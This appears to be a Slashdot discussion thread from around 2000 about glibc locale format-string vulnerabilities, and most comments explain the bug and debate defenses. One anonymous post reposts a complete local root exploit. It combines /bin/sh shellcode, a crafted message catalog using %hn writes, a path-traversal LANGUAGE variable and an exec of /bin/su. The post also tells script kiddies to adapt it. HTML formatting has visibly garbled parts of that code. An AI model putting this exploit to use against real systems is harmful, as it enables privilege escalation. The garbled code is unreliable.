Various *nix OSes Open To Format String Attacks

Numerous readers have pointed, as this unnamed correspondent does, to this CNET article: "There is an article on cnet claiming that both unix and linux systems contain security flaws, called 'format string' vulnerabilities, which allow hackers the ability to trick systems through command manipulation and subsequently run unauthorized applications."

Comments

Am I the only one?

[yorgasor]

Am I the only one who thinks they didn't give nearly enough information about this exploit? Can it be used remotely? Do they already have to have at least user access to the machine? The author didn't give us any information about how it works.

Worthless.

It's an attack on Locale, not format strings...

[docwhat]

According to the article, the heart of the matter is that you attack the locale libraries by using your own message catalog.

Is it the end of the world? Not really, people are working on it. A user has to be on your machine to exploit it.

The article also complains that Debian, RedHat and Conectiva announced fixes prior to the Sept 11th announce date for the bug. Normally you want a co-ordinated release for large bugs to not nail slower to fix software products.

Ciao!

Re:But what do you do?

[Inoshiro]

It's very, very simple.

Step 1: make sure that the system's locale related stuff is owned by a secure account and permissioned accordingly so that others can't modify it.

Step 2: Ensure any setuid and setgid programs ignore user specified or non-system locales.

This way, the user can affect only their own account. They cannot give their specially made locales to setuid and setgid programs, and the setuid and setgid programs can still benefit from the system (presumed secure) locales.

It's no different from having properly permissioned /etc directory, with programs which can read a config from /etc and a user specific location.
--

Re:Well..

[Scott Wood]

How do buffer overflows create security problems anyway? Doesn't the program just segfault?

If you overflow the buffer with random data, then yes, it just segfaults. If however, you fill it with the right data, you can manipulate the return address of the function and thus run arbitrary code on the remote machine.

--

Re:But what do you do?

[micahjd]

So, a question to all... how to you write your code so that it's flexible enough for translation, but not open to attack?

How about a function, sort of like printf, in which you specify the number and type of args seperately from their position?
Something like this:

untrustedfmt = "Can't open file %";
secureprintf(untrustedfmt,"%s",filename);

Basically, substituting each % in the input with a format specifier from the hard-coded string. If there are too many "%" in the input, it doesn't crash. ("Error printing error message")
Some variation on this could allow the order of the format specifiers to be rearranged. Heck, maybe something more fancy like

"Error number $errnum: Can't open file $file"

Already easy to do in perl, but I've never seen this done in C.

Re:But what do you do?

[MrBooga]

Using printf formats to handle I18N is a poor solution anyway. Some translations will require reordering of the parameters because of grammar differences. The message should include numeric arguments:

Some %1 thing went wrong with the %2.

Probably not a good example, but I can imagine a tranlation that need the %2 before the %1. With printf specifiers, this can't be done.

NT ([hiss]) does messages this way. You can only have string parameters, but you can easily write tostr(int) type functions for when you need to include numbers or dates in the string.

I guess I should fix my code to do '%' to '%%' translation when I'm using syslog()... :-)

The %1 in the example would be "damn" in english.

Re:yawn - hypocricy

[man_of_mr_e]

>>> Nerds. If this was a Microsoft security issue, you'd be all over it.

>it IS dumbass, its a C/C++ vunerability, its not OS specific.

Partially true. The thing that is OS specific is how locales are implemented in Unix/Linux, which makes it trivial to exploit this problem.

Re:Taint mode solves this problem

[vectro]

One plus is that taint mode is automatically activated in any setuid perl script.

Re:This is a really old trick

[nchip]

I mean, c'mon, never seen a core dump? It usually doesn't take me that much nastiness :-)

Yes, one night of agressive drinking should make even the toughest daemon core dumped.

Re:/. == C|Net + NYTimes + CNN + ....

[barleyguy]

For that matter, how about all the new filtering features that /. was supposed to be getting?

Solution # 1: Download slashcode, add these features to the Perl code, send the code back, and let everyone know about the features so we can get them deployed.

Solution # 2: Quishyourbishin.

Re:Ok, so how exactly would this work?

[gloth]

Ah, now this is interesting, I didn't know about the %n thingy. I guess I've been writing too much C++ code for the last couple of years :-) But then again, don't most unix systems (including Linux) have separate memory segments for code and data, and isn't the code-segment read-only? And if this is so, wouldn't that mean that it is very difficult to mess with a program using this locale weakness? Although I know my way around in assembly language pretty well, I'm a newbie when it comes to security questions. I just have the feeling some vulnerabilities are wildly overrated. I mean, you probably have to know a great deal to gain any advantage from this locale weakness, while other security holes (a la Outlook) seem to be much easier to exploit once they are known. Or am I just naive?

Ok, so how exactly would this work?

[gloth]

I have enough imagination to see how this can be used to crash the program, but how would you get it to execute code? I assume that printf simply reads the memory of the process, and dumps data to stdout. Nothing executed here.

Someone claimed that a wrong number of %s can corrupt the stack. How so? In C, the caller is responsible for cleaning up the parameters from the call stack, i.e. there's no problem with this either.

So, enlightened hacker/crackers of Slashdot... how does the exploit actually work?

Re:Ok, so how exactly would this work?

[RedLaggedTeut]

Well, no expert here, but I read that the code/data segment thing is more often used in Intel+??Dos than on ???+Unix hosts. And on ??Dos, the practice is to put variables that have been initialized into the code segment as well.

Humm, an even better point: you don't need to replace stuff in the code segment. It might be enough to just hand back the right parameters.
So for example, it might work like this(guessing):

• setuid program checks parameters
• setuid program attempts to print "you are not allowed to suid root".
• setuid program local variables, which are stored on the stack, are filled different values.
• the changed values cause the setuid program to continue operation and give you root.

I see that this would work only with some specific setuid code.

The string handling in C is just bad. C should never have been used for systems programming. For example, if functions with an elided(sp?) argumentlist (..) like scanf and printf are so dangerous to the stack, why do they have to use the same stack ?

Re:Ok, so how exactly would this work?

[Broccolist]

(disclaimer: I've never cracked anything myself; this is just how I would guess this is done)

I agree that using %s generally causes no possible root exploits. But there's a little known printf conversion character that allows you to *write* into the printf argument. It's %n. What it does is write the integer value of how many characters were written up to date by printf into an integer argument. (don't ask me why anyone would want this for legitimate purposes ...)

So, for example, say the vulnerable printf is:

char string[50];
printf("blahblah: %s", string);

From what I understand, the locale vulnerability allows you to replace the "%s" by anything you want. So you could tell the computer, for example, that in your country "blahblah" should be written "lots_of_random_characters...%n%n%n%n%n%n...(evil assembly code)". With a carefully calculated number of beginning characters and %ns, you could overwrite the function's return address (after the string on the stack) to contain the address of your evil assembly code, thus gaining root when the function returns. How this would work exactly would depend on the specific compiler/OS, more study would be needed to write a working exploit.

There might be other ways to exploit the problem, but that's my theory.

Re:Ok, so how exactly would this work?

[fatphil]

I don't wish to get religeous, but if C wasn't used for Systems Programming, we'd still be back in the 70s. C accelerated OS development so much. However, its power is also its weakness. You can place a bullet between your toes, for sure, but for goodness sake don't let the bullet's velocity and angle of approach be parameters from a client.

FatPhil
(yup, it's "elided" = left out)

Thank you Alan, for being correct

[bk1e]

You are one of the very few posters who got this right. Most of the /. posters on this topic have no clue what they're talking about, as usual.

I have no point here, I just like to say printf(_("Error %d: %s\n"), errno, strerror(errno));

AH....

[Mdog]

I completely missed the point of the article :>

Thanks.

from securityfocus, repost

[Anonymous Coward]

/* F*cking HTML formatting */
/* exploit for glibc/locale format strings bug.
* Tested in RedHat 6.2 with kernel 2.2.16.
* Script kiddies: you should modify this code
* slightly by yourself. :)
*
* Greets: Solar Designer, Jouko Pynnvnen , zenith parsec
*
* THIS CODE IS FOR EDUCATIONAL PURPOSE ONLY AND SHOULD NOT BE RUN IN
* ANY HOST WITHOUT PERMISSION FROM THE SYSTEM ADMINISTRATOR.
*
* by warning3@nsfocus.com (http://www.nsfocus.com)
* y2k/9/6
*/

#include
#include
#include

#define DEFAULT_OFFSET 550
#define DEFAULT_ALIGNMENT 2
#define DEFAULT_RETLOC 0xbfffd2ff
#define DEFAULT_BUFFER_SIZE 2048
#define DEFAULT_EGG_SIZE 1024
#define NOP 0x90
#define PATH "/tmp/LC_MESSAGES"

char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\ x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\ x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";

unsigned long get_esp(void) {
__asm__("movl %esp,%eax");
}

main(int argc, char *argv[]) {
char *buff, *buff1, *ptr, *egg;
char *env[3];
long shell_addr,retloc=DEFAULT_RETLOC,tmpaddr;
int offset=DEFAULT_OFFSET, align=DEFAULT_ALIGNMENT;
int bsize=DEFAULT_BUFFER_SIZE, eggsize=DEFAULT_EGG_SIZE;
int i,reth,retl,num=113;
FILE *fp;

if (argc > 1) sscanf(argv[1],"%x",&retloc);
if (argc > 2) offset = atoi(argv[2]);
if (argc > 3) num = atoi(argv[3]);
if (argc > 4) align = atoi(argv[4]);
if (argc > 5) bsize = atoi(argv[5]);
if (argc > 6) eggsize = atoi(argv[6]);

printf("Usages: %s \n",argv[0]);

if (!(buff = malloc(eggsize))) {
printf("Can't allocate memory.\n");
exit(0);
}

if (!(buff1 = malloc(bsize))) {
printf("Can't allocate memory.\n");
exit(0);
}

if (!(egg = malloc(eggsize))) {
printf("Can't allocate memory.\n");
exit(0);
}

printf("Using RET location address: 0x%x\n", retloc);
shell_addr = get_esp() + offset;
printf("Using Shellcode address: 0x%x\n", shell_addr);

reth = (shell_addr >> 16) & 0xffff ;
retl = (shell_addr >> 0) & 0xffff ;

ptr = buff;

for (i = 0; i > 8 ) & 0xff ;
(*ptr++) = (retloc >> 16 ) & 0xff ;
(*ptr++) = (retloc >> 24 ) & 0xff ;
}

memset(ptr,'A',align);

ptr = buff1;

for(i = 0 ; i num ; i++ )
{
memcpy(ptr, "%.8x", 4);
ptr += 4;
}

sprintf(ptr, "%%%uc%%hn%%%uc%%hn",(retl - num*8),
(0x10000 + reth - retl));

mkdir(PATH,0755);
chdir(PATH);
fp = fopen("libc.po", "w+");
fprintf(fp,"msgid \"%%s: invalid option -- %%c\\n\"\n");
fprintf(fp,"msgstr \"%s\\n\"", buff1);
fclose(fp);
system("/usr/bin/msgfmt libc.po -o libc.mo");

ptr = egg;
for (i = 0; i eggsize - strlen(shellcode) - 1; i++)
*(ptr++) = NOP;

for (i = 0; i strlen(shellcode); i++)
*(ptr++) = shellcode[i];

egg[eggsize - 1] = '\0';

memcpy(egg, "EGG=", 4);
env[0] = egg ;
env[1] = "LANGUAGE=sk_SK/../../../../../../tmp";
env[2] = (char *)0 ;

execle("/bin/su","su","-u", buff, NULL,env);

} /* end of main */

Re:puts(string);

[Pflipp]

Ermm... Link dynamically: it gets you a smaller executable. And, like, you can still access shared library functions.


It's... It's...

Re:Boooring

[Omnifarious]

It tends to be general style to speak as if I'm totally unsure unless I'm convinced beyond any shadow of a doubt.

The other person's post says whether or not perl's environment variables are tainted. I kinda thought they were.

I'd have to stare at source to know how much of the NLS library it uses. If it uses any of it, it's vulnerable even if environment variables are tainted in the actual running perl code.

haha

[Highlordexecutioner]

It will ake a couple of days before this corrected. Unlike Windows where you would have to wait until the next release of their OS.

Re:haha

[eV_x]

every time there have been holes in windows m$ releases a patch or update within days. very rarely do major problems just get left alone.

But what do you do?

[Alan Shutko]

The base of the vulnerability is that people include format strings in their locale database. This has been a recommended practice, because it would let you restructure messages when you localize the strings.

For example, you might have a message "Cannot open file %s". When translating the message to another language, the grammar of the language might require placing words after the file ("annotcay ilefay %s openway"). This is easy to do if you translate the whole format string, but if you'd constructed it by strcat("Cannot open file ", file) the translator can't reorder the message.

But this makes you vulnerable because attackers can specify the locale database they'd like to use, making the format string something absurd like "%s%s%s%s%s%s", smashing the stack and opening the door to exploits.

Unfortunately, I haven't seen anyone give an alternative. The original advisories just say "This is bad coding practice, don't do it" but don't offer any alternatives and point to documents which RECOMMEND DOING EXACTLY THIS.

So, a question to all... how to you write your code so that it's flexible enough for translation, but not open to attack?

Re:But what do you do?

[Christopher Thomas]

So, a question to all... how to you write your code so that it's flexible enough for translation, but not open to attack?

One straightforward solution - scan through the string before using it to ensure that it only has the desired number/type of arguments specified in the pattern. If you're expecting a single string argument, keep the first occurrence of "%s" intact (or add it if you need to) and change all other instances of "%" to "%%" (or remove the %foo tokens).

Re:But what do you do?

[Omnifarious]

I thought about something like this, but all the farther I got was a simple argument count and then I realized you could flop formatting characters. Your solution would work, but somehow feels vaguely ugly.

I say just don't use printf style format strings at all. :-) But not many people will do that.

Re:But what do you do?

[Furry Ice]

This idea is good, but it doesn't meet the basic needs of translation: grammar differences might require that the %d and %s be switched.

Re:But what do you do?

[The Pim]

I say just don't use printf style format strings at all. :-)

The thing is, using structured templates + "fill-ins" for makes great sense for message customization and in particular localization. Otherwise, your translators have to modify code! In that case, you have no hope of (eg) preventing a malicious translator from doing nasty things. Whereas if your template format and API are properly designed, the template is effectively a sandbox for the translator.

I won't claim that the printf template format is great, but it does the job. All you need is to tighten up the API to prevent abuse. (In C, this is necessarily ugly :-/)

Re:But what do you do?

[photon317]

It seems to me that this can be solved in the OS's locale support. For any program running setuid, or any program running as root, let the user be able to specify a locale value (say, EN_US), which then references a system-standard-location set of locale definitions. Don't allow setuid or root running programs to redefine things to be different than the installed set of locale definitions for the OS and/or that program.

This fix makes sense to me in the same way that it makes sense that most *nices don't allow setuid programs to pick up libraries from LD_LIBRARY_PATH.

Re:But what do you do?

[codemonkey_uk]

Alan Shutko asked

So, a question to all... how to you write your code so that it's flexible enough for translation, but not open to attack?

How about using C++, and writting a string class that expands as neaded, or (stll c++) use the STL's std::string. Or use some other language that supports dynamic strings. Or write your own dynamic string handling code in C if thats your thang.

It can be done, we know the "trust problems" that the sprintf approach suffers, we know the limitations of the (simplistic) strcat approach, build something better and learn from the mistakes of the past.

Thad

Re:But what do you do?

[The Pim]

This idea is good, but it doesn't meet the basic needs of translation: grammar differences might require that the %d and %s be switched.

That's what I feared until I read the printf(3) manual carefully. Try printf("%2$d - %1$d", 1, 2);. I'm not sure how portable this is, though. I'm using glibc 2.1.3.

Re:But what do you do?

[stripes]

Unfortunately, I haven't seen anyone give an alternative. The original advisories just say "This is bad coding practice, don't do it" but don't offer any alternatives and point to documents which RECOMMEND DOING EXACTLY THIS.

Use snprintf(3), or the other "n" variants. Like snprintf(buf, sizeof(buf)-1, format, ...). The -1 isn't needed, but it makes me feel better (whoever implments the libc function might not have read the spec close enough).

Or in C++ use a stringstream which will expand itself as needed. Or on 4.4BSD systems C programmers could use funopen(3) to get the same sort of effect, but not so portably.

And there is allways the "make my buffer one page big followed by a red zone", but that isn't hugely portable, and opens a DoS attack.

To be honest I use snprintf (and vsnprintf), and havn;t needed to do the like in C++ yet. But all of that stuff should work. And remember to put some overflow tests in your test vectors.

Re:But what do you do?

[jekk]

Many people have responded to this (5 rating) comment by describing possible ways to build code that's "flexible enough for translation but not open to attack". I could add my own way of doing it. But everyone is missing the point. The question asked (or intended) was "how do you write your code". So far, everyone has been speaking in the hypothetical, and that masks a VERY important point... we're clearly CAPABLE of writing code that is safe from this exploit, but (because of the faulty behavior of default libraries) we're not doing it! .

So I'll try to answer the original question. Most of MY code lately has been written in Java. Java doesn't have this particular vulnerability, because it's not subject to stack over/underflows (normally). I HAVE written pleanty of code in C/C++, but nothing that used i18n. So other than suggesting "try a different language" (not always a useful suggestion) my answer is that I DON'T have a solution... at least not one thats so convenient that I use it in real life.

So... this is a community forum... anyone willing to step up and address this problem? New libraries for Linux? It wouldn't be too difficult to build something that automatically checks the format strings in a string catalog against those in a standard catalog and refuses to load the string catalog if it's not validated. If a couple of other people will help me (because I'm not a linux hacker and would need the help of someone with more i18n experience) I'm willing to work on writing something like this!. Any takers?

If I get no responses, I'll have to assume that the community is not interested (or that they just didn't see my post because it wasn't moderated up ;-) ), and I'll forget the whole issue.

-- Michael Chermside
michael.chermside@destiny.com

Re:But what do you do?

[Omnifarious]

One quick and easy solution is to make SUID programs not read any but the default language databases. Kind of a flexibility poor solution though, IMHO.

Another idea is to never use printf and friends to print messages out of formatting databases. Always explicity print out the formatted stuff in a seperate statement from the stuff you're printing out from the database.

I've never liked printf much anyway, but then again, I like C++. :-)

Oh, the Bugtraq link was tons more helpful than the Cnet article.

This is actually also only a problem in the face of setuid programs. I doubt Windows NT has this problem much. *sigh*

Re:But what do you do?

[The Pim]

The bad coding practice is not realizing that C format strings are morally equivalent to arbitrary code, and distrusting them accordingly. For code running without privilege, there is no problem at all, but code running with privilege must ensure that format strings come from a trusted source.

If you want to go to the real root of the problem, the bad practice is not using type-safe string formating APIs. It seems that a simple one would simply require an extra "template" format string that must be known at compile time (so the compiler can check that the right number of arguments are passed), and that is used to validate the real format string at run time. Then i18nized code would look like printf2("%d%s", _("You have %d %s(s)"), qty, name) (where _() is the conventinal dictionary lookup macro). Then if the joker gives you a format string that accesses the first fill-in argument as a string, or access a third fill-in argument at all, there is a run-time failure.

Re:But what do you do?

[Grey]

Use snprintf(3), or the other "n" variants. Like snprintf(buf, sizeof(buf)-1, format, ...). The -1 isn't needed, but it makes me feel better (whoever implments the libc function might not have read the spec close enough).

Or even better use OPENBSD's slprintf, or other n variants since there is a bug in some of the standard definitions of the "n" string functions. see strlcpy and strlcat -- consistent, safe, string copy and concatenation on their site.

Re:But what do you do?

[mangino]

your snprintf does nothing for you. You can still overwhelm it with too many format characters. Do the reading before you post ways for people to fix a problem.

Please don't pass yourself off as an expert offering advice on how to fix the problem unless you really are!
--
Mike Mangino
Sr. Software Engineer, SubmitOrder.com

Re:But what do you do?

[crucini]

So, a question to all... how to you write your code so that it's flexible enough for translation, but not open to attack?

Well, the BSD's "solved" this by not allowing user-supplied string catalogs for suid root programs. I noticed that some messages on Bugtraq faulted application authors for writing printf(gettext("File %s not found"), buf); with the implication that the app author should check the return value of gettext. It seems more reasonable to me to modify the gettext function. Remember, it's called with string containing a certain number of printf format specifiers. The new string it retrieves from the database should contain the same specifiers in the same order, or gettext should return the original string. Isn't this better than modifying the tons of source code that use the localization info?

Re:But what do you do?

[jekk]

Ok. 11 days later, with no replies, I'll do as I promised, and forget the whole issue. Maybe there'll be another opportunity in the future. ;-)

-- Michael Chermside

Way OT but.....

[Juggle]

This is way off-topic but all the same....

You may have time to read cnet, NyTimes, Yahoo News, AP feeds, Reuters feeds, The Register, and all the other sources that are often linked from /. but that dosen't mean we all do!

Personally I love /. for what it is. "News for Nerds Stuff That Matters" I think of it kind of like TiVo for web news. I can either spend all morning combing a dozen or so news sites - or I can spend 15 minutes scanning headlines on /. to see what may be interesting to me.

Sure there are things that are BS on /. and there are things in other news media that I'd find facinating. But my time is valuable and /. helps me make the most of my time.

Re:OT: KDE in Debian

[yorgasor]

I saw it too. I wanted to go back and read it and found this article instead. Weird.

Credibility

[Nexx]

The wording of the article tells me that the guywho wrote it doesn't have a slightest clue what he is talking about, but wants to scre everyone in sight to death

Heard on NPR, quoting Jesse Ventura, the governor of Minnesota. He stated, and quite correctly, that many media outlets are no longer in the business of reporting the news, but instead, making the news. They're slaves to the almighty buck.

He went on to state that there's nothing wrong with being a slave to the almighty buck, but if they are, they should not be misleading consumers by stating that they're "journalists" and not "tabloid artists".

On the web, as with anywhere else, "consider the source". Many people no longer do this, but this is absolutely critical when judging the accuracy of any information, not limited to that shown in the news. Sensationalism in "professional" journalism is very much alive today as it were in the 1890's, when "yellow" journalism coursed through the pages of "credible" newspapers.

--

Re:/. == C|Net + NYTimes + CNN + ....

[xyzzy]

No, I've been reading for > 2 years now (my userid is barely > 10,000).

People come to a site because they can get things there that they can't elsewhere. My morning bookmarks are NYTimes, CNet, CNN, CBS Marketwatch, and Slashdot. If I start noticing that the last is just a rehash of the first 4, why would I bother to visit?

if Slashdot has all the same content as NYTimes, it's no longer "News For Nerds", it's "All the News that's Fit to Print", and I'll read it over there, thank you :-)

Are you sure?

[update()]

Any program written in C or C++ could potentially suffer from the same problems...
And that INCLUDES MacOS.

This topic is out my league, but drawing on my recollection of Mac Toolbox programming -- are you sure? It would seem to me that there's a big difference between using printf to send a string to Unix standard output and drawing a string in QuickDraw, and that it's a lot easier to do something malicious to the system with the former than the latter.

Not that gaining root on a Mac would be such a huge accomplishment anyway...

---------

Re:Are you sure?

[Per Abrahamsen]

For MacOS using sprintf to create the string to draw with QuickDraw would open up the same sort of problems as printf does with console (or MPW!) applications.

It's not printf's fault

[micahjd]

We should instead be blaming the variable-length non-typesafe argument lists of C. This falls into the same category as pointers- something that is very useful and powerful, but can't be trusted to the outside.

The arg lists could be made safer with some modification to the compiler and libc, but could it be done portably?
This could all too quickly turn into some strange C and C++ hybrid, or a C/Java holy war. Yipes!

Re:Not OpenBSD!

[jmp100]

I'm not really that big a fan of *BSD. I've installed and run it before for a few months, certainly. However, I must say, I think I'm speaking for a lot of us when I say that those of us who don't use *BSD are greatly appreciative of this effort. Thank you!

Re:C specific, not unix specific

[Pflipp]

That was the locale problem, yes. But as pointed out in some other replies here, it seems that it can affect _any_ program w. external input.

Say, I make a remote client, it reads your login name, and password, and then says:

printf ("Hello %s%s,", name, "this is your name again:"); # no problem

printf (name); # problem

'cause if I say that my name is "%d asdf" or so, this might cause troubles. Maybe there are more ways to harm than just exploit this weakly set up printf statement, but this is the example of above, and because in my example we are talking about a "remote client", I have demonstrated to you that this is not just a local problem ;-)

So it's not just a _local_ "locale" thingy, it's all over.

It's... It's...

format string attack - not so old

[ivan4th]

Sometimes people use %.Ns (where N is some number) in conjunction with sprintf instead of snprintf, as snprintf may not be available on some systems. If format string can be replaced, an attacker may remove .N part, and then make program execute arbitrary code via stack overrun. An example of code that may cause problem:

...

char buf[512];

...

sprintf(buf, gettext("File name: %.256s"), argv[1]);

Also I'm sure there's lot of other methods how to make victim program not just segfault.

Re:format string attack - not so old

[Emil Brink]

Um, yeah. Too bad many of the vulnerabilities seem to be in programs where you don't want more external dependencies. Otherwise, people could just get into the habit of using g_snprintf(), from (the other) glib. If you can't guess what it does, check the API reference entry. In new programs I write, that often use glib, I always use this function in place of a simple strcpy() or libc-supplied snprintf()...

Re:Format Strings 101 (fixed)

[Broccolist]

I can't help but point out that C++ iostreams (as well as the IO facilities of many other languages) aren't vulnerable to this sort of thing :).

Varargs is the problem

[Animats]

The basic problem is varargs, the mechanism by which C and C++ handle functions with a variable number of parameters. Varargs allows access to the stack without compile-time type checking, and that's where the hole is.

One solution is to use iostreams in C++ instead of the old C library. Another basic check is to use some tool that will find all calls to the "printf" family that don't use string constants as the format.

Strings that really need to be expanded at run time need to go through a different mechanism, not "printf". Wrong tool.

Re:At A Loss

[Noviota]

> what's your ip?

Umm. 127.0.0.1 if I remember correctly.br.


Noviota.
De Novo. Iota.
Starting Afresh. Very Small.

Not new

[imp]

This isn't that new. Most of the *BSD issues
have already been committed and are thus not vulnerable. Tehy make it sound a lot worse than
it really is.

Also, *ALL* Oses are impacted, since all oses have the sprintf-like functions.

Warner Losh
FreeBSD Security Officer.

Re:Not new

[Ed Avis]

When you say 'improper use of sprintf()', do you mean things like:

/* get 'str' from user */
sprintf(buffer, str);

That would mean the user could put %d or whatever into the format string and corrupt the stack. The proper way to do things would be like printf("%s", str). Is that what you mean?

Re:Not new

[kkenn]

Both FreeBSD and OpenBSD did a full audit sweep of our respective source trees soon after the class of "format string vulnerabilities" were discovered.

We didn't find anything serious, although there were a few in non-setuid binaries which of course aren't a security problem unless you use them in a weird way (like hooking them up to unfiltered network input or something). OpenBSD had a hole in setproctitle() in their ftpd a few months back, IIRC. Most of the changes we made were for "correctness" rather than a demonstrable security benefit.

By contrast, most Linux distros apparently have these problems (rpc.statd was one, as well as the ftpd problem which just about everyone (except FreeBSD ;-) suffered, and apparently there are lots of other setuid binaries on Linux vulnerable to this local exploit). Make of this what you will :-)

Kris Kennaway
FreeBSD Security Officer team

Re:Not new

[kkenn]

It was something which was never an issue to begin with, because the code was written correctly from the start. "Format string vulnerabilities" result from improper use of functions like syslog() and sprintf(), and for whatever reason our code just didnt have any serious problems there.

Kris Kennaway
FreeBSD Security Officer team

Re:Not new

[Kronovohr]

This isn't exactly a "non-issue" yet in those regards, it seems. I recall
Theo de Raadt commenting on format string problems when the news rolled out
about BitchX having format string vulnerabilities. They're a hell of a lot
more common than anyone thinks, and multi-platform; theoretically, fixing
them may mean breaking other stuff, so it's a point to step carefully around.

Re:Not new

[Techrat]

No, I think he means NEVER use sprintf() for ANY REASON, use only snprintf().

Re:Not new

[igneous polenta]

BTW, thanks to the BSD developers who made this a non issue on Free+Open. When you say that most of the issues have already been committed do you mean that this particular issue has already been looked at and addressed on those OS's, or is this something that just happened to not be there to exploit on those systems?

If this has been addressed, is there any method/website/mailing-list the various Unix system programmers have to communicate these findings to each other? The article mentions that they were trying to coordinate an announcement but that some of the distro makers spilled the beans early, causing a potential problem for others?

I figured I'd ask you since your title suggests you'd have answers :)

Re:Not new

[daviddennis]

No. The problem is like this:

char string[1000];

sprintf(string, "%s", argv[1]);

If the value of argv[1] is longer than 999 characters (999 + the trailing null at the end of all C strings), the string will overflow and cause the program to crash with a segementation violation error.

If you put data representing machine language instructions at the end of the string, you will get a stack overflow, and the next characters will start overwriting the stack. This can result in having the code executed by the computer, which can do nasty things like emailing the contents of your /etc/passwd file someplace, or copying a setuid shell somewhere for future use.

The solution is use snprintf:

snprintf(string, 1000, "%s", argv[1]);

That will copy no more than 1000 characters into the new string (counting the null).

D

----

Re:Not new

[kkenn]

Actually, what I meant was in reference to theformat string vulnerability: sprintf(buf, argv[1]) instead of sprintf(buf, "%s", argv[1]) kind of thing. Contrary to popular belief, sprintf() can be used safely as long as you check the length of your string before using it. It's often easiest to just use snprintf(), which makes for easier auditing and so on, but sprintf() isn't always wrong.

Re:Not new

[kkenn]

Nope, thats not what I was talking about. It is *a* problem with sprintf(), but it can be protected against without using snprintf(). Missing format strings are different.

Re:Not new

[Kronovohr]

/me 's memory returns to him. Yeah, that's right, it was the setproctitle()
in OpenBSD. Thanks for the reminder (: I know it was somewhat of a small
item, but I dunno...I'm wary about everything these days so I refuse to care
lol
Good work on FreeBSD, BTW.

Re:Boooring

[Omnifarious]

As you notice, I have when I thought the comment wasn't worthwhile.

C specific, not unix specific

[DaveTerrell]

Anything that uses printf-like statements can be vunlerable to attack. Specifically, anything that uses printf-like statements improperly. Always printf("%s", string) instead of printf(string). Note that this has cropped up in lots of places, including openbsd's ftpd (if you turn on anonymous ftp, which is off by default).

Re:C specific, not unix specific

[darksaber]

skip the printf - if you are just printing the string, use a function like puts - it'll be faster too and you don't have to worry about any formatting issues

i was once at a job interview when this subject came up (efficiency not security side) and they were happy i knew the difference

Re:C specific, not unix specific

[mangino]

I agree with this, however I would imagine it would be rare to see the printf in any program that was written with security in mind. The printf problem should be obvious to anyone who has programmed, the creating of a locale database is quite a bit more removed from the programmer however.
--
Mike Mangino
Sr. Software Engineer, SubmitOrder.com

Re:C specific, not unix specific

[mangino]

This is actually a problem in the gettext routine. It allows a person With a local account to create a custom locale that includes format strings inside the internationalization code. The answer is simple, drop the locale related variables from setuid environments. What was not mentioned in the article is that for the current cases, this requires a local account on the machine and setuid that doesn't drop the correct variables from the environment. If you don't use internationalized setuid programs, you should be okay.

Mike
--
Mike Mangino
Sr. Software Engineer, SubmitOrder.com

Re:yawn

[Broccolist]

No, C++ programs often use iostreams (like cout) and that isn't vulnerable to format string problems.

Other than that, I agree with you.

Magic Number/Header?

[mholve]

Any relation?

Re:Not OpenBSD!

[Pflipp]

It's actually cool that the *BSD folks claim this can NOT happen w. them. Is then EVERY line of BSD code checked? -- I'm willing to believe that, though, but what I am not willing to believe, is that OpenBSD for instance also checks out MySQL (an external program, I believe?) for you. And Sendmail. Just to name 2 out of thousands of external programs.

Thou art not safe unless thou only sets up the basic system ,that actually can't do very much useful by itself (except for playing router or so). Well, I personally prefer to install some apps now and then, though ;-)

It's... It's...

yawn

[Dalroth]

*yawn*

Any program written in C or C++ could potentially suffer from the same problems...

And that INCLUDES Microsoft.
And that INCLUDES BeOS.
And that INCLUDES MacOS.

Big deal! In fact, this is probably one of the most uninformed articles I've read yet (unless I'm totally missing something).

Auditing anyone?

[jailbrekr2]

Arce initially found the locale vulnerability on a Sun Microsystems server, but it affects all Linux and Unix operating systems except OpenBSD and FreeBSD, he said.

And it is this comment that emphasises the need for a Linux project similar to OpenBSD (as asked in the previous /. article Here)

This is not a flame, but we need a distribution that emphasizes security and code auditing, as opposed to the current trend of adding more and more bloat to an otherwise fast and stable kernel....

Re:Auditing anyone?

[tialaramex]

Auditing is only half the battle, OpenBSD also wins by "default configuration".
That is to say on the few occasions when Theo doesn't say "Blah, blah, blah... Not Vulnerable" he usually gets to say this instead:
This software is not installed/ configured/ active by default on OpenBSD, only people who actually needed it will be affected.

While it may be a few years yet before you see Red Hat doing a full code audit of their core distro, we are already seeing a conversion to the "secure by default" behaviour advocated by OpenBSD.
Red Hat 7.0 will ship with options that lock down machines more than any previous version, and you'll see the same trend in SuSE or Debian.

Another huge win OpenBSD brought to all Free operating systems, is "Crypto everywhere".
This policy means new boxes by default use strong crypto to protect package systems, remote admin, and other areas which five years ago were vulnerable on every Unix install.

This was announced last week on Bugtraq.

[Anonymous Coward]

All the major Linux vendors have already issued patches for this and several other major holes in glibc/ld.so. The latest patchlevel for glibc that I've seen is 2.1.3_19, so make sure you've got something at least that current and you should be okay.

Not new -- and can be stopped by the compiler

[devphil]

Even those OSes which don't have the benefit of a security-conscious design team (um, that'd be about all of them apart from *BSD :-) can help harden individual programs from buffer-overflow attacks.

It requires GCC patched with StackGuard, and source for the program you want to protect. (That means closed-source programs are left out in the cold... oh well.)

The resulting program runs slower, but a stack smash will usually be quickly detected. It's described at the StackGuard page.

No, it isn't a silver bullet, and yes, it can be defeated, and no, it hasn't yet been ported to anything other than x86 Linux. Still, it's better than the usual I've-just-finished-reading-teach-yourself-<foo>-in -ten-minutes-now-I'm-qualified-to- write-a-Linux-utility code that gets shuffled around out there.

Re:Not new -- and can be stopped by the compiler

[ryanr]

I'm not sure why you would point that out in this context. Crispin (leader of the Stackguard project) makes no claim to being BO-proof, and Stackguard doesn't even address format string problems.

Check out the thread on vuln-dev here

What it is really about.

[BlowCat]

You can specify the locale using environment variables. You can even set them remotely using telnet protocol. Some environment variables can specify the file with translated strings. Translated strings may contain different formatting characters. This is really bad for SUID programs that run as root. Libc must ignore those environment variables for SUID programs but it fails to do so on many OS'es. That, and only that constructs the vulnerability.

This is not a problem with C, this is a problem with the OS.

Re:/. == C|Net + NYTimes + CNN + ....

[xyzzy]

I'll agree you have a point about reading other people's comments -- but then, for god's sake, give me a way to filter! How about a checkbox that says "not already seen in the major media"?

For that matter, how about all the new filtering features that /. was supposed to be getting?

Re:Hmmm...

[RickHunter]

